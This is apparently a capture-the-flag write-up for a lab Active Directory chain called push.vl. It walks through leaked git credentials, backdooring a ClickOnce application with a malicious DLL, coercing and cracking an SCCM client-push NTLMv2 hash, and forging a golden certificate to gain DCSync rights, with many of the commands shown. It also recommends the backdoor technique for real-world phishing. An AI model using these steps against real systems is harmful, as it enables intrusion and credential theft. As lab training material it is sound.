push.vl writeup
Enumeration
As always, we start with an nmap scan of the targets:
Nmap scan report for 10.10.196.5
Host is up (0.069s latency).
Not shown: 91 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-02 17:02:02Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: push.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.push.vl
| Subject Alternative Name: DNS:DC01.push.vl
| Not valid before: 2023-08-29T21:18:39
|_Not valid after: 2123-08-06T21:18:39
|_ssl-date: TLS randomness does not represent time
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=DC01.push.vl
| Not valid before: 2023-08-29T22:44:24
|_Not valid after: 2024-08-29T22:44:24
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.push.vl
| Not valid before: 2023-08-29T20:33:09
|_Not valid after: 2024-02-28T20:33:09
|_ssl-date: 2023-09-02T17:02:48+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: PUSH
| NetBIOS_Domain_Name: PUSH
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: push.vl
| DNS_Computer_Name: DC01.push.vl
| DNS_Tree_Name: push.vl
| Product_Version: 10.0.20348
|_ System_Time: 2023-09-02T17:02:08+00:00
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-09-02T17:02:09
|_ start_date: N/A
Nmap scan report for 10.10.196.6
Host is up (0.071s latency).
Not shown: 94 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 08-03-23 08:49PM <DIR> .config
| 08-03-23 08:49PM <DIR> .git
|_08-03-23 08:49PM <DIR> dev
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: SelfService
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=MS01.push.vl
| Not valid before: 2023-08-30T07:00:38
|_Not valid after: 2024-02-29T07:00:38
| rdp-ntlm-info:
| Target_Name: PUSH
| NetBIOS_Domain_Name: PUSH
| NetBIOS_Computer_Name: MS01
| DNS_Domain_Name: push.vl
| DNS_Computer_Name: MS01.push.vl
| DNS_Tree_Name: push.vl
| Product_Version: 10.0.20348
|_ System_Time: 2023-09-02T17:02:10+00:00
|_ssl-date: 2023-09-02T17:02:48+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-09-02T17:02:18
|_ start_date: N/A
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
Post-scan script results:
| clock-skew:
| 0s:
| 10.10.196.5
|_ 10.10.196.6
Nothing unusual here for a chain, however, the Anonymous FTP login allowed
stands out so lets investigate this.
Valid Credentials
Upon connecting and listing files, there seems to be nothing interesting present, however if we list hidden files we get .git-credentials
:
Lets download this file and see what it is, judging by the name it is obviously some sort of Git credentials..
$ cat .git-credentials
https://olivia.wood:[email protected]
Looks like credentials for Github, we will try them against the domain to see if they are valid:
SMB Share
With the valid credentials, enumerating the SMB shares leads us to find a wwwroot on MS01.
$ smbclient -L \\\\MS01\\ -U PUSH/olivia.wood
Password for [PUSH\olivia.wood]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
wwwroot Disk selfservice web deployment
After connecting to the wwwroot
share, we come across some files:
$ smbclient \\\\MS01\\wwwroot -U PUSH/olivia.wood
Password for [PUSH\olivia.wood]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Aug 6 10:32:49 2023
.. D 0 Tue Aug 1 20:07:31 2023
Application Files D 0 Thu Aug 3 19:39:06 2023
index.html A 7594 Sat Aug 5 09:02:27 2023
last-run.txt A 26 Tue Aug 29 17:34:28 2023
SelfService.application A 17619 Thu Aug 3 19:35:45 2023
5205499 blocks of size 4096. 746614 blocks available
This seems to be a ClickOnce application, we can double confirm this by viewing the contents of the index.html:
The last-run.txt is also interesting, viewing this file gives the following information:
$ cat last-run.txt
"Last Execution: 9:38"
This basically indicates that the ClickOnce application is being run, potentially by some automated script? With this in mind, we can check to see if we have write privileges on the share to potentially backdoor this application:
smb: \> put last-run.txt
putting file last-run.txt as \last-run.txt (0.1 kb/s) (average 0.1 kb/s)
We do have write privileges! So we can try our theory with backdooring this ClickOnce application.. There are already quite a few public posts on this topic primarily from @an0n_r0 and SpecterOps, for this writeup we will be following Backdooring ClickOnce .NET Apps for Initial Access: A Practical Example from @an0n_r0 aka IstvĂĄn TĂłth
ClickOnce Backdoor
Now, there are a few ways we could do this, either by finding a suitable location to backdoor within the assembly, or just by replacing a DLL. This is also a very good technique to use in real-life for initial access, the concept is the same as how we are doing it here, you backdoor a suitable application that you find online, host it yourself and then use it for your phishing phase.
For the simplicity of this writeup, we will replace a DLL that is present with our own malicious one. However, before we get started there are a few prerequisites that need to be met in order for this to work without getting any warnings when it gets ran.
- Valid digest hashes in order to restore the trust chain provided by the hash values in the manifest files which we will modify
- Remove the invalid signatures from the modified manifest files
So lets get started, after downloading all the files we will search for a DLL we want to use. We want to make sure it is a DLL that is included in the deployment of the application, i.e not a system DLL. We will use SelfService.dll.deploy
We can use msfvenom to generate a DLL to replace the one in the Application:
Now that we have replaced the DLL, we have essentially broken the trust chain as the digest hash for this reference will be invalid. However, it is simple calculate a new digest hash of the backdoored DLL as seen below:
With this new digest value, we will have to update the appropriate dsig:DigestValue
element, and size
attribute for the DLL within the SelfService.application.
We have updated the fields from the SelfService.application
above. (The size field is just the size of the DLL). Also,
If the manifest file was signed, itâll be invalid because we have made some changes to it, so the signature needs to be removed. First, delete the âpublisherIdentityâ and the âSignatureâ elements at the end. And also zero out the âpublicKeyTokenâ attribute in the âasmv1:assemblyIdentityâ tag at the top (where the ânameâ attribute matches the assembly name the manifest belongs to). Zeroing out means 16 zeroes: publicKeyToken="0000000000000000"
. This ensures the signature wonât be checked and it wonât cause an issue if it is missing.
Now we have changed the main DLL manifest what is referenced by the .application manifest (and contains digest values for the main DLL manifest). This means the .application manifest also needs to be updated.
We can recalculate the main DLL manifest SHA256 digest value with the same method we used before:
Now we can replace the element dsig:DigestValue
with this new value and also update the DLL manifest file size (dependentAssembly tags size attribute). The size here is just the size of the manifest file after editing everything.
Now the backdoored ClickOnce application should be ready to be deployed, remember, we have the last-run.txt so we can use that as a heads up to know if its working or notâŠ
The SelfService.Application and the SelfService.dll.manifest end up looking like the following:
SelfService.application
SelfService.dll.manifest
MS01 Initial Access
Now we will start our MSF listener and upload our modified files to the SMB share, then we will wait to see if our backdoored application works.. If it doesnât work, its likely there is an issue with the trust chain which we would have to fix in order for this to work..
And as you can see below, we managed to get a callback to Metasploit:
C:\Users\kelly.hill>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
C:\Users\kelly.hill>whoami /groups
whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
PUSH\staff Group S-1-5-21-1589267129-13061033-1364877255-2101 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Looks like we donât have any interesting privileges, however we are in the PUSH\staff
group..
SCCM Discovery
After doing some initial enumeration, you can find the ccmsetup
folder within C:\windows
, this usually indicates that SCCM is setup..
âCCMSetup.exe is a Microsoft program executed from the command line, (or through a script), by an enterprise administrator to find and download the files needed and start installation of the Endpoint Configuration Manager (ECM) Client on a workstation computer.â
With this in mind, we can use a tool like SCCMHunter to enumerate potential Management Pointâs/Site Codes: So, it managed to find some information on the SCCM server.. Now considering we have an active logon session on MS01, we can now use a tool such as SharpSCCM to interact with the SCCM server and potentially escalate privileges.
Moving forward, after checking the local administrators on MS01, it seems there is a group added called ServerAdmins and also a user called sccadmin, which is also a ServerAdmin.. This really indicates an SCCM Administrator.. This could be a client push account potentiallyâŠ
SCCM Privesc
Now before we attempt to privesc via SCCM, there are a few blogs worth reading that could aid in exploitation efforts. Coercing NTLM Authentication from SCCM SCCM Site Takeover via Automatic Client Push Installation Both of these blogs come from SpecterOps and are invaluable in regards to testing against SCCM.
So lets begin by uploading SharpSCCM to the box and attempt to get an SCCM Site Takeover via Client Push Installation. Lets look at what we have so far and what we can potentially do:
- Client Push Account is a local administrator on MS01
- Coerce Client Push Account so we can potentially relay and dump hashes of MS01 (Client Push account will be local admin), or crack the push account ntlmv2 hash.
Lets fire up Responder and invoke a client push to capture a hash, we could also try to relay in this scenario.
And from this, we have managed to get the NTLMv2 hash:
Lets attempt to crack this:
SCCADMIN::PUSH:39760917d5bba31e:341deed496ecc82784f8f9d12902a126:010100000000000080781374c1ddd901adbcd4a49246636300000000020008003800420057004b0001001e00570049004e002d0034004d0043004f0059004400530042005a003200450004003400570049004e002d0034004d0043004f0059004400530042005a00320045002e003800420057004b002e004c004f00430041004c00030014003800420057004b002e004c004f00430041004c00050014003800420057004b002e004c004f00430041004c000700080080781374c1ddd901060004000200000008003000300000000000000000000000004000001fd54bfaacf6ff7dfb8d076ecd85f9a6809938375c1d9ffc56a504b12a3df87f0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e0038002e0030002e003100310036000000000000000000:REDACTED
We was able to successfully crack the NTLMv2 hash and get plaintext creds for the SCCAdmin user, as you can see, we are now a local admin on MS01:
$ crackmapexec smb MS01 -u "sccadmin" -p 'REDACTED' -d push.vl
SMB MS01.push.vl 445 MS01 [*] Windows 10.0 Build 20348 x64 (name:MS01) (domain:push.vl) (signing:False) (SMBv1:False)
SMB MS01.push.vl 445 MS01 [+] push.vl\sccadmin:REDACTED (Pwn3d!)
Domain Privesc
Once local administrator access on MS01 was achieved, enumeration showed that MS01 is actually a CA server too.. Now, if you have system access to a Certificate Authority, a lot of damage can be done. We can either perform a Golden Certificate attack and achieve Domain Admin this way, or we can make our own template vulnerable to ESC1 for example..
We will take the approach of performing a Golden Certificate attack with Certipy, its easy as following the steps outlined from the Github Repository.
First lets get a backup cert and private key, and then with this we can forge a certificate for the domain controller. However there may be issues with authenticating with it as this is a Server 2022⊠However, PassTheCert will work in our case:
kđ„z @ kitsuke in ~/ctf/vl/push at [02/09 17:53]
$ certipy ca -backup -ca 'CA' -username SCCAdmin -p 'REDACTED' -target-ip MS01
Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Creating new service
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Saved certificate and private key to 'CA.pfx'
[*] Cleaning up
kđ„z @ kitsuke in ~/ctf/vl/push at [02/09 17:54]
$ certipy forge -ca-pfx CA.pfx -upn [email protected] -subject 'CN=Administrator,CN=Users,DC=PUSH,DC=VL'
Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Saved forged certificate and private key to 'administrator_forged.pfx'
kđ„z @ kitsuke in ~/ctf/vl/push at [02/09 17:54]
$ certipy cert -pfx administrator_forged.pfx -nokey -out admin.crt
Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Writing certificate and to 'admin.crt'
kđ„z @ kitsuke in ~/ctf/vl/push at [02/09 17:54]
$ certipy cert -pfx administrator_forged.pfx -nocert -out admin.key
Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Writing private key to 'admin.key'
kđ„z @ kitsuke in ~/ctf/vl/push at [02/09 17:55]
$ python ~/tools/PassTheCert/Python/passthecert.py -action modify_user -crt admin.crt -key admin.key -domain push.vl -dc-ip DC01 -target sccadmin -elevate
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Granted user 'sccadmin' DCSYNC rights!
kđ„z @ kitsuke in ~/ctf/vl/push at [02/09 17:56]
$ secretsdump.py PUSH/SCCADMIN@DC01 -just-dc-user Administrator
Impacket v0.11.0 - Copyright 2023 Fortra
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:{redacted}:{redacted}:::
[*] Kerberos keys grabbed
{redacted}
{redacted}
{redacted}
[*] Cleaning up...
Alternatively you can just change the password of the user rather than dumping.
Now it is possible to get access to the DC to retrieve the final flag:
Unintended Path
After getting a shell as Kelly.Hill from the Clickonce backdoor, it is possible to skip all the steps for domain privesc (SCCM / Golden Cert)
After inspecting bloodhound to see what Kelly.Hill controls outbound, you can see âWriteAccountRestrictionsâ on MS01.
This may not seem super obvious at first glance, but after a bit of googling, you can see that its basically rbcd.. This will allow you to write to the ms-DS-AllowedToActOnBehalfOfOtherIdentity
property. Here is a good post from Dirkjanm that explains this
I will leave this path as an exercise for the reader to explore this avenue.